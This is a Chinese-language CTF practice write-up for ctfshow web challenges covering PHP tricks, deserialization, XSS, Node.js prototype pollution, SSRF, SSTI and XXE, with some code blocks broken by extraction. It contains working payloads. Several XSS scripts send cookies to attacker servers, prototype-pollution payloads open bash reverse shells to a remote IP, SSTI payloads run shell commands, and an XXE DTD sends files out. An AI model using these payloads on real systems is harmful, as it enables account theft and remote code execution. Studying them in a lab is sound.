}
$$key=$$value;
}
if(!($_POST[‘flag’]==$flag)){
die($error);
}
echo “your are good”.$flag.”\n”;
die($suces);
1 |
|
数组绕过
web107
1 | include("flag.php"); |
ai能写出来
web108
```php
include(“flag.php”);
if (ereg (“^[a-zA-Z]+$”, $_GET[‘c’])===FALSE) {
die(‘error’);}
if(intval(strrev($_GET[‘c’]))==0x36d){
echo $flag;
}
1 |
|
if (ereg (“^[a-zA-Z]+$”, $_GET[‘c’])===FALSE)
1 |
|
?c=a%00778
1 |
|
/[a-zA-Z]+/ 至少一个英文字母的意思
echo new 很容易就想到类
Exception 类有一个特殊的方法叫做
__toString(),当你echo Exception对象时,它会自动调用这个魔术方法,并把异常信息(也就是system()的返回值)打印出来!
web110
1 | if(isset($_GET['v1']) && isset($_GET['v2'])){ |
web111
1 | include("flag.php"); |
文件上传
web151
上传一个png文件,改成Content-Type: application/x-php,上传一句话木马,flag.php在/var/www/html里。
web152
抓包修改Content-Type: image/png
web153
反序列化
web254
1 |
|
web255
1 | <?php |
web256
多了一步对username和password的判断,要求不想等
只要在实例化对象里修改两个属性的值就可以
web257
1 |
|
web258
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
过滤了O:数字和C:数字,由wakeup绕过想到可以加“+”,但是要注意这里有两个O:,需要加两次,这里的属性为了方便都是public,上一题的payload不能直接用。
?web259?
了解了一下SoapClient这个类,但说实话拿着网上脚本跑出来的payload会报错(是要先把flag写入flag.txt还是要用yakit?)
1 | Warning: SoapClient::__doRequest(): supplied argument is not a valid Stream-Context resource in /var/www/html/index.php on line 8 |
1 | <?php |
本来以为用的是SplFileObject类,查了一下发现不能实例化。
//O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
web260
1 |
|
?ctfshow=ctfshow=ctfshow_i_love_36D
这个题是在。。?
web261
1 |
|
逻辑:终点有两个,但是我们没有看见可以触发invoke的标准函数()括号,排除,于是思路是用file_put_contents写webshell。
在php7.4.0开始,如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。这里code会等于username+password,要求弱等于0x36d,也就是十进制的877,那么只需要把username等于877.php就行了。
PHP 的弱类型比较
== 在 PHP 中是弱类型比较(loose comparison):
- 当左右两边类型不一致时,PHP 会尽量把它们转换成相同类型再比较。
- 如果是“数字字符串” 和 “数字” 比较,PHP 会把字符串按数字规则转换成整数,然后比较。
数字转换规则:
- 从字符串开头开始读取,如果是数字就转换成数字,遇到第一个非数字字符就停止。
```php
‘;
public $code = 877;
public function __invoke(){
eval($this->code);
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
$a = new ctfshowvip();
echo serialize($a);
1 |
|
接着在框里写
1 | <script>location.href="http://(自己服务器的公网ip)/xss.php(存放上述php代码的文件)?cookie="+document.cookie</script> |
如果之前没有cookie.txt要自己建立一个

web317
大小写不敏感过滤了script,那就用img标签写
1 | <img src="" οnerrοr=location.href="http://47.122.71.42/xss.php?cookie="+document.cookie> |
web318.319
1 | <body οnlοad=location.href="http://47.122.71.42/xss.php?cookie="+document.cookie> |
web320.321
过滤了script,img,空格。
空格可以用%09、tab、/、/**/代替。
1 | <body/**/οnlοad=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie> |
这里网上看到一个构造payload的复杂方法,主要是利用String.fromCharCode()函数可以ascii码转字符的特性把payload都变成ascii码。
字符串转ascii码:
1 | input_str = input("请输入字符串: ") # 获取用户输入的字符串 |
ascii码转字符串脚本:
1 | def ascii_to_string(ascii_str): |
这样的话
1 | <body/**/οnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,49,50,48,46,52,54,46,52,49,46,49,55,51,47,74,97,121,49,55,47,49,50,55,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62));> |
括号里面是
1 | <script>document.location.href='http://120.46.41.173/Jay17/127.php?cookie='+document.cookie</script> |
web322-326
过滤了script,img,iframe,xss,空格,分号,逗号。
1 | <iframe/**/οnlοad=location.href="http://ip/xss.php?cookie="+document.cookie></iframe> |
322,没复现成功,要么是格式上双引号单引号什么的,忘记chmod 666了
搞出来一个结果是PHPSESSID=a6v9u4gg01sg1eh55498q0lh9i; flag=you are not admin no flag
很疑惑
还有这题是过滤了xss的所以这里要改名
当将这行脚本代码提交后,稍等片刻,会有个类似admin管理员的程序每隔一段时间就查看我们提交的连接,然后就可以拿到admin的cookie
看了另外一个wp,这个不会死
1 | <svg/onload="window.location.href='http://47.122.71.42/poc.php?cookie='+document.cookie"> |
web327
这题开始是存储型XSS了。首先就是poster必须是admin才能发送成功,其次就是XSS的触发点应该是sender和content都可以。这题没有任何过滤。
payload:(其实这题没有过滤,懒一点直接复制之前的了)
1 | <script> onload=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie</script> |
web328
注册时候用户名密码都用payload(头这里没用了,可能被过滤了)
打paylaod前vps监听9023端口。
payload:
1 | <script>window.open('http://120.46.41.173:9023/'+document.cookie)</script> |
获得管理员的cookie

点击用户管理,改cookie

不懂,放在这里以后研究:
别人的wp:
TIP:关于异步(加深了解可写项目或看项目),页面框架获取和数据拉取填充是异步进行的,不在同一个数据包中,如果通过BURP完成此题,请注意数据包是否为获取指定数据。另外一种思路:
将页面指定部分直接发送到XSS平台
经分析,flag大概率在document.body.innerText,且数据量不大yu师傅的超强模块也是个好办法:

web329
和上题一样,但是过滤了script,用<svg οnlοad="">标签
1 | <svg/onload="window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie"> |
还是仅管理员可见。

和上题不同的是,Cookie会立刻失效。不能通过窃取Cookie的形式得到flag了。
我们分析一下原理,我们的payload作为储存型XSS,管理员访问时候能被我们窃取Cookie,那是不是还能窃取点别的东西呢,比如说管理员看到的用户名和密码。理论上来说是可以的,所以就直接获取管理员的页面信息。
问题是如何带出数据?
方法一:我们可以通过类名查找元素,通过document来获取。
现在vps上面监听端口9023。
innerHTML和outerHTML的区别
1、innerHTML:
从对象的起始位置到终止位置的全部内容,不包括Html标签。
innerText可替代innerHTML
2、outerHTML:
除了包含innerHTML的全部内容外, 还包含对象标签本身。
可以看到前端代码中将要显示admin密码的地方类为layui-table-cell laytable-cell-1-0-1
payload: (作为账号密码注册后登录)
1 | <script>window.open('http://120.46.41.173:9023/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script> |
1 | 解释一下它的每一部分: |
1 | window.open('http://120.46.41.173:9023/' + document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML) 这是一个调用 window.open() 函数的语句,用于打开新的浏览器窗口。 |
还有两种解法,自己去这里看:
https://blog.csdn.net/Jayjay___/article/details/133375048
https://blog.csdn.net/tj13995958709/article/details/137744197
web330
这一题用上一题的做法就不行,这一题admin的cookie是一直在变的,而且很快,看到此题还有修改密码的功能,注册个普通账号,在修改密码时抓包

可以利用xss漏洞让admin自己修改密码
可以看见,调用了一个api/api/change.php?p=123。参数p就是我们修改后的密码。Cookie用于验证身份。
我们想修改管理员的密码,一开始肯定会想到先拿管理员Cookie再伪造包。但是管理员Cookie实时变化呀。我们何尝不使管理员”主动”修改密码呢,当然,是在XSS的作用下”主动”修改密码。
payload: (还是老样子,作为账号密码,注册登录)
1 | <script>window.location.href='http://127.0.0.1/api/change.php?p=1717';</script> |
这时候会出现一种情况,我们在管理员账号上一点击用户管理,立马跳转到api,来不及复制flag。这是因为我们的XSSpayload是一个用户账号,管理员每次访问用户管理都会解析它。
解决办法:立刻Ctrl+u查看源码或者抓包。

下面开始乱写了
web331
post发
web332
给admin转负数
web333
自己转自己
总结常见过滤
script
img
空格
iframe
xss
;
,
题目类型大概分为反射性,存储型(注册登录,管理员cookie)
node.js
web334
附件给了源码 user.js login,js
user.js 中有用户名:CTFSHOW,密码:123456 4、审计 login.js,其中代码 return name!==’CTFSHOW’ && item.username === name.toUpperCase() && item.password === password;,用户名输入小写 ctfshow
web335
页面发现 eval 参数的 get 传参
1 | ?eval=require('child_process').execSync('ls') |
1 | 代码解释: |
跟 SSTI 是固定模版,require 类似于 import,所以背就完事了,
web336
把上一题的 execSync 过滤了
过滤了 exec,其他不变
1 | child_process.spawnSync(command[, args][, options]) |
其中的 stdout 表示缓冲区中的内容,也就是输出结果,也可以在结尾继续追加一个 toString()方法但是还可以用
or:
1 | 检查发现过滤了 exec |
web337
1 | if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){ |
?a[a]=1&b[b]=1
满足 a 和 b 都为真、a 和 b 长度相等、和字符串拼接的结果都是[object Object]flag
web338
1 | 给了源码, 看到 login.js 里面有个 copy() 函数 |
基础的原型链污染, 因为需要 满足条件 secert.ctfshow==='36dboy' , 可以输出 flag,
但是 secert 是否有 ctfshow 不重要, 让它的原型拥有就行,
secert 和 user 都是 对象, 在执行 copy 操作 ,构造一个请求体污染了 user 的原型,
存在一个 ctfshow 的属性, 值为 36dboy , 那么在 secert 的里面找不到 ctfshow 的属性. 就会往原型上去找, 从而满足secert.ctfshow==='36dboy' ,得到 flag
抓个登录的包, 修改一下就行
1 | payload: |
web339 变量覆盖 query
login.js
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
api.js
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
和上一题的区别在于,上一题判断语句是 if(secert.ctfshow= = =‘36dboy’),这题是 if(secert.ctfshow= = =flag),但是变量 flag 的值我们不知道,所以不能使用上一题的 payload 污染原型修改 secert.ctfshow。
通过 login.js 里的 utils.copy(user,req.body); 污染原型,然后访问 api 的时候由于 query 未定义,所以会向其原型找,那么通过污染原型构造恶意代码即可 rce。
ctfshow web入门 nodejs 334-341(更新中)
这一题的payload有点难理解,不过研究好可以为后面几题打基础。
① Function(query) 是什么?
- 它是 函数构造器,能把一个字符串变成 JS 函数。
- 举例:
1 | let f = Function("return 2+3"); |
- 在题目里:
1 | Function(query) |
意思是:把客户端发来的 query 字符串当作函数体,生成一个新的函数。
② 后面的 (query) 又是啥?
- 新生成的函数要被调用一次,所以加了
(query)。 - 由于函数体本身就是
query字符串,这就相当于:
1 | eval(query) |
也就是说,客户端传什么,服务器就执行什么。
res.render(‘api’, { query: … }) 是干嘛的?
res.render 会把第二个参数 { query: … } 传给模板。
模板里可能有:
当模板渲染时,它会去 { query: … } 里找 query,如果没找到,会顺着原型链去找。
login.js的copy函数可以污染 Object.prototype:
1 | {"__proto__": {"query": "恶意代码"}} |
- 一旦污染:
- 所有对象都能看到这个
query属性。 - 当模板访问
query时,会从原型链上找到我们设置的值。
- 所有对象都能看到这个
看的有点懵,提一下重点:
Function(query)(query)会执行query字符串。- 模板渲染时用到
query这个参数。 query来自对象{ query: Function(query)(query) },如果没有这个属性,它会去 Object.prototype 上找。
模板渲染需要 query 这个变量。
我们想执行自己的代码,但服务器本身没提供修改 query 的接口。
原型链污染 就是“旁路”手段:通过发送 JSON 给 copy 函数污染 Object.prototype.query。所有对象在访问 query 时,都会自动拿到我们设置的值
注意这里有两个 query,先给它们起个名字方便区分:
1 | let f = Function(query); // 第一个 query |
第一个 query:作为函数体的字符串
- 也就是你想让函数执行的“代码”
- 例如
"return 2+3"或"malicious_code()" - 这个字符串被传给
Function,生成一个函数对象
第二个 query:调用函数时的参数
- 调用新函数的时候,把这个值传进去
- 服务器内部函数里可以用这个参数
第二个 query 会去原型链找
- 当函数体里使用
query时,JS 会先在局部作用域找这个变量 - 但是如果对象里没有,JS 就会沿着 原型链 找
- 利用
login.js的copy方法,我们可以污染Object.prototype.query:
1 | {"__proto__": {"query": "恶意代码"}} |
- 这样函数体里使用
query→ 没有局部变量 → 去原型链找到"恶意代码" - 然后被
Function(query)(query)执行 → 触发 RCE
用这个payload成功了
1 | { |
flag在/app/routes/login.js中

web340
login.js
1 | /* GET home page. */ |
api.js
1 | /* GET home page. */ |
前半部分(isAdmin)
这里主要是 证明污染成功。
- 你通过
copy()把 payload 合并进user.userinfo - 然后因为 payload 里面的
__proto__链会“冒泡”到 Object.prototype - 所以最终
{}的原型上多了一个属性:isAdmin: {isAdmin:true}
这个就说明 任意对象 都会继承到 isAdmin,系统逻辑就可能被绕过(比如权限验证)。
后半部分(query)
前面只是权限绕过,但我们真正想要的是 RCE 拿 flag。
有的题目里(比如你遇到的 Node.js CTF 题),代码里会有一段类似这样的逻辑:
1 | var func = new Function("query", userInput); |
也就是说:
- 用户传入的
query参数,会被当成函数体执行 - 如果对象的原型链上存在
query属性,那也会被取到
于是:
1 | {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.140.251.169/4567 0>&1\"')"}}} |
就把 query 属性放到了 Object.prototype 上。
这样,当服务器执行 func(query) 的时候:
- 它会去对象里找
query - 找不到,就顺着原型链找到被污染的
Object.prototype.query - 于是返回值就变成了我们恶意构造的
return global.process...exec(...) - 直接执行反弹 shell 命令 → getshell → 读取 flag
cat routes/login.js|grep flag
web341
下载附件分析代码,发现这题没有api.js了,而且login.js也没有地方污染
继续分析代码,在app.js可以看到包含了ejs,且引擎设置为ejs
ejs模板引擎有个漏洞可以利用,实现从原型链污染到RCE
参考文章:Express+lodash+ejs: 从原型链污染到RCE
payload:
1 | {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"');var __tmp2"}}} |
跟上题一样,也是在/login里POST写入,然后刷新一次页面即
web342
1 | app.engine('jade', require('jade').__express); |
SSRF
web351
1 | <?php |
url = http://127.0.0.1/flag.php
url = localhost/flag.php
url = 127.0.0.1/flag.php
url = file:///var/www/html/flag.php(在源代码)
尝试 post 传入 url,并使用 file 协议作为参数,file:///etc/passwd 有返回值。 然后猜测 flag 在当前目录,而当前目录一般都是/var/www/html 故传入 file:///var/www/html/flag.php
两个问题等你写
curl_exec 的特性
本题最后一个 payload 有什么不同,为什么可以绕过本地限制
答案:
curl_exec函数的作用及使用场景curl_exec是 PHP cURL 库中用于执行预配置的 cURL 会话的函数。它会发起网络请求(如 HTTP、FTP 等)并获取响应数据。在正常开发中,curl_exec常用于以下场景:- 调用第三方 API(如支付接口、社交媒体平台)。
- 爬取网页内容或聚合数据。
- 下载远程文件(如图片、文档)。
- 实现服务间通信(如微服务架构中的内部调用)。
- 前三个 Payload 生效的原因
前三个 Payload 利用的是 SSRF(服务端请求伪造),使服务器向自身发起请求:url=http://127.0.0.1/flag.php与url=http://localhost/flag.php:127.0.0.1和localhost均指向服务器本地。若flag.php部署在服务器的 Web 根目录(如/var/www/html/)且仅允许本地访问,通过 cURL 请求这些地址可直接读取文件内容。- 注意:若 Payload 中未显式包含协议(如
http://),cURL 可能默认补全或报错,实际测试时需确保 URL 格式正确(如http://127.0.0.1/flag.php)。
file://协议绕过本地限制的原因
Payloadurl=file:///var/www/html/flag.php生效的关键点:- 直接文件系统访问:
file://协议允许 cURL 直接读取服务器本地文件,无需经过 HTTP 服务。若代码未限制协议类型(默认允许所有协议),攻击者可绕过网络层限制(如防火墙、IP 黑名单)。 - 防御缺失:若服务器未禁用危险协议(如通过
CURLOPT_PROTOCOLS限制仅允许 HTTP/HTTPS),file://可被利用读取敏感文件(如/etc/passwd)。
- 直接文件系统访问:
web352
1 | <?php |
漏洞分析
- 正则表达式缺陷
- 范围不完整:正则仅检测
127.0.0,但未覆盖以下情况:- IPv4 短格式:
http://127.1/(等价于127.0.0.1)。 - 十进制 IP:
http://2130706433/(对应127.0.0.1)。 IPv6 地址:http://[::1]/(对应localhost)。
- IPv4 短格式:
大小写绕过:未使用i修饰符,LocalHost或LOCALHOST可绕过检测。
parse_url解析绕过
- URL 混淆攻击:
构造http://evil.com@127.0.0.1/,parse_url解析的host为evil.com,但实际请求发送到127.0.0.1。 - 路径注入:
http://example.com/127.0.0.1/flag.php,正则触发误杀合法 URL,但攻击者仍可能利用其他格式。
攻击示例
绕过黑名单的 Payload:
IPv4 短格式
复制
url = http://127.1/flag.php
- 等价于
127.0.0.1,但绕过正则检测。
- 等价于
十进制 IP
复制
url = http://2130706433/flag.php
- 十进制
2130706433对应127.0.0.1。
- 十进制
IPv6 地址复制url = http://[:: 1]/flag.php
IPv6 的本地回环地址,未被正则覆盖。
各种进制的 IP 地址
#默认
#16 进制
#10 进制
((127 256+0) 256+0)*256+1//计算过程
http://2130706433
#8 进制
题目使用 parse_url 对 url 进行解析,需要我们传入协议为 http 或者是 https,同时不可以出现 localhost 或者是 127.0.0 绕过: 使用其余各种指向 127.0.0.1 的地址 >>>> http://127.00000.00000.001/ 0 的数量多一点少一点都没影响,最后还是会指向 127.0.0.1 >>>> http://127.1 >>>> 利用进制绕过……………… payload:url = http://127.00000.00000.001/flag.php 或者 http://127.1/flag.php
前面的解析都没有认真思考
这里的 localhost 和 127.0.0 真的被过滤了吗?
preg_match 函数的参数都没给完整,其限制字符就是个幌子
直接
url=http://localhost/flag.php照样拿下
web353
payload 直接拿上面那题的…
web354
1 | <?php |
通过 ip 地址解析为 127.0.0.1 的网站进行绕过
url=http://spoofed.burpcollaborator.net/flag.php
url=http://safe.taobao.com/flag.php
url=http://sudo.cc/flag.php; A 记录 sudo.cc 指向 IP 地址 127.0.0.1。
web355
1 | <?php |
url=http://127.1/flag.php
linux 中 0 指向本机地址
payload: url=http://0/flag.php
web356
1 | <?php |
代码块
url=http://0/flag.php
(未复现)web357
1 | <?php |
filter_var函数来验证 IP 地址的有效性,并且排除了私有 IP 范围(0.0.0.0/8、172.16.0.0/12 和 192.168.0.0/16)和保留 IP 范围(0.0.0.0/8 和 169.254.0.0/16。)。
用 DNS rebind 进行 DNS 重绑定攻击,思路:第一次访问,域名第一次解析是 127.0.0.1,第二次解析是 104.56.61.24。第二次访问的时候,域名第一次解析是 104.56.61.24,第二次解析是 127.0.0.1。用 DNS rebind 进行 DNS 重绑定攻击,思路:第一次访问,域名第一次解析是 127.0.0.1,第二次解析是 104.56.61.24。第二次访问的时候,域名第一次解析是 104.56.61.24,第二次解析是 127.0.0.1。
gethostbyname()是 PHP 中的一个函数,用于获取指定主机名的 IP 地址。这个函数可以通过给定主机名,返回相应主机的 IPv4 地址。如果主机名无效,则函数返回主机名本身在 PHP 中,filter_var()函数结合 FILTER_VALIDATE_IP 过滤器可以用来验证一个 IP 地址的有效性。在这个例子中,FILTER_FLAG_NO_PRIV_RANGE 和 FILTER_FLAG_NO_RES_RANGE 是额外的标志,用于指定不接受私有 IP 地址和保留 IP 地址。
FILTER_VALIDATE_IP:指定要验证的过滤器类型,用于验证 IP 地址。
FILTER_FLAG_NO_PRIV_RANGE:指示 filter_var()函数不接受私有 IP 地址。私有 IP 地址范围包括:
10.0.0.0 至 10.255.255.255
172.16.0.0 至 172.31.255.255
192.168.0.0 至 192.168.255.255
FILTER_FLAG_NO_RES_RANGE:指示 filter_var()函数不接受保留 IP 地址。保留 IP 地址范围包括:
0.0.0.0 至 0.255.255.255
169.254.0.0 至 169.254.255.255
127.0.0.0 至 127.255.255.255
224.0.0.0 至 239.255.255.255
利用 302 重定向访问 127.0.0.1 的原理获得 flag 绕过过滤302 重定向是 HTTP 状态代码之一,表示临时性的重定向。当服务器收到客户端的请求后,如果需要将请求的资源临时重定向到另一个 URL,但未来可能会恢复到原始 URL 时,就会返回 302 状态码。这意味着客户端应该继续使用原始 URL 进行后续请求,因为重定向是暂时的。302 重定向常用于网站维护、临时性更改或者流量控制等场景。
web358
1 | <?php |
url=http://ctf.:passwd@127.0.0.1/flag.php#show
SSTI
web361

web362 过滤部分数字
这个题是屏蔽了数字 2 和 3,那么思路可以分为两类,硬要用 os 类那就绕过 2 和 3,或者用其他的类。
1 | {{"".__class__.__bases__[0].__subclasses__()[11*11%2b+11].__init__.__globals__['popen']('cat+/flag').read()}} |
web363 单双引号””‘’
过滤了单引号,把””变成(),用 request.args.a
1 | {{().__class__.__bases__[0].__subclasses__()[11*11%2b+11].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag |
web364 args
过滤 args,可以用 cookies
过滤 args,可以用 cookies
?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.cookies.p](request.cookies.param).read()}}
cookiesCookie: p=popen; param=cat /flag
request.values.a 读取 get/post 方式里 a 的值
request.args.a 读取 get 方式里 a 的值
request.form.a 读取 post 方式里 a 的值
request.cookies.a 读取 cookie 里 a 的值
web365 方括号[]
过滤了方括号,可以用__getitem__绕过
1 ?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag
三种方法,但都需要用到 python 魔术方法 getitem
1
2
3
4
5
6
7
8
9
10
11
12
13
方法一:{%set char=config.**class**.**init**.**globals**.**builtins**.chr%}{{().**class**.**base**.**subclasses**().**getitem**(132).**init**.**globals**.popen(char(108)%2bchar(115)).read()}}
方法二: name={{().class.base.subclasses().getitem(132).init.globals.getitem(request.cookies.x1)(request.cookies.x2).read()}}
然后将 cookie 写入 Cookie: x1=popen; x2=cat /flag
方法三: 使用 subprocess.Popen 类 {{().**class**.**mro**.**getitem**(1).**subclasses**().**getitem**(407)(request.values.a,shell=True,stdout=-1).communicate().**getitem**(0)}}&a=cat /flag
web366 下划线_
过滤了下划线,先换一个更简单获取 popen 方法的类
1 ?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a =cat /flag再利用 filters 中的 attr 来过滤下划
具体介绍可以看一下官方文档 https://jinja.palletsprojects.com/en/2.11.x/templates/#attr
payload
1 ?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__
1 | 在 `?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__` 这个恶意 payload 里: |
web367 os
1 过滤了 os,可以通过 get 来获取payload
1 ?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
web368 request
1 过滤了 request,但是是再{{}}中过滤了 request,没有在{% %}过滤 requestpayload
1 ?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag
web369 request
1 |
XXE
web373
1 | libxml_disable_entity_loader(false); |
打开 bp 抓包,修改请求方法,
1 | <!DOCTYPE test [ <!-- 定义 DTD,声明根元素为 test(实际未使用) --> |
file:///flag` 的结构
- 分解:
file://:协议标识符,表示访问本地文件。/flag:文件路径,表示从根目录开始的绝对路径(Unix/Linux 系统)。- 三个斜杠
/的含义:file://后的第一个/是 URI 路径分隔符。- 完整的
file:///flag实际上是file:// + /flag,即访问根目录下的flag文件。 - 在 Windows 中可能需要写成
file:///C:/flag(注意盘符C:)。
- 三个斜杠
web374
1 | libxml_disable_entity_loader(false); |
1 | libxml_disable_entity_loader(false); // 开启外部实体加载(危险,可能被利用 XXE) |
和上一题相比少了
$creds = simplexml_import_dom($dom); // 把DOM对象转成SimpleXML对象,方便访问节点
没有继续取节点(比如 $dom->getElementsByTagName()),所以代码执行到这里就结束了,什么数据都没用到,所以没有回显。所以我们考虑数据外带(out of band)。访问一个请求,把数据加到请求上。
所以我们要发给网页的dtd上写“去把flag打包好”“去访问这个ip上的dtd”
1 | <!DOCTYPE hacker[ |
在服务器上的dtd写”定义一个send变量”“使用send变量,把打包好的flag发给这个ip”
1 | <!ENTITY % all "<!ENTITY % send SYSTEM 'http://47.122.71.42:9999/%file;'>"> |
在vps上监听:
1 | python3 -m http.server 9999 |
这里我第一次用的是nc -lvvp 9999,很不幸的失败了,猜想可能是nc只是一个 裸 TCP 监听,如果请求很快或者是 HTTP/1.0,可能会连接一次就断开。python3 -m http.server 80 是一个 完整 HTTP 服务,它能正确响应 HTTP GET 请求,发送 200 OK,目标服务器收到正常响应后,整个请求流程会成功完成。

web375
相比于上一题源码多了:
1 | if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){ |
但是上题本来就没有这个,这里到底想考什么呢?也许是空格绕过,多打一个空格在?xml和version之间就好了。
web376
1 | if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){ |
多过滤了一个大小写 xml头声明不强制要求,可有可无
web377
1 | if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){ |
多过滤了一个http
计算机只能处理0和1,所以文字符号必须转换成字节才能存储或传输,把字符转换成字节的规则叫做字符编码。
PHP 的 preg_match 工作在 字符层面(char),也就是byte-to-char,先把字节解析成字符,再当作普通 ASCII 字符去匹配。
UTF-16这个编码的英文字符在内存里占两个字节,例如字符 h:
- ASCII / UTF-8 →
0x68 - UTF-16 →
0x68 0x00(低字节在前,或大端字节序0x00 0x68)
所以字母 http 在 UTF-16 中存储可能是:
1 | h t t p |
正则 /http/i 期望看到连续的 ASCII 'h' 't' 't' 'p'(单字节),结果每个字母之间都有 0x00 → 匹配失败
一个 xml 文档不仅可以用 UTF-8 编码,也可以用 UTF-16(两个变体 - BE 和 LE)、UTF-32(四个变体 - BE、LE、2143、3412) 和 EBCDIC 编码。 在这种编码的帮助下,使用正则表达式可以很容易地绕过 WAF,因为在这种类型的 WAF 中,正则表达式通常仅配置为单字符集。 外来编码也可用于绕过成熟的 WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2 解析器只支持一种类型的 utf-32 - utf-32BE,特别是不支持 BOM。
https://wiki.scuctf.com/ctfwiki/web/6.xxe/%E7%BC%96%E7%A0%81%E7%BB%95%E8%BF%87/
web378
一个登录框,查看源代码
1 | function doLogin(){ |
直接外部实体注入XXE读本地文件

ctfshow上xxe还是很好入门的。


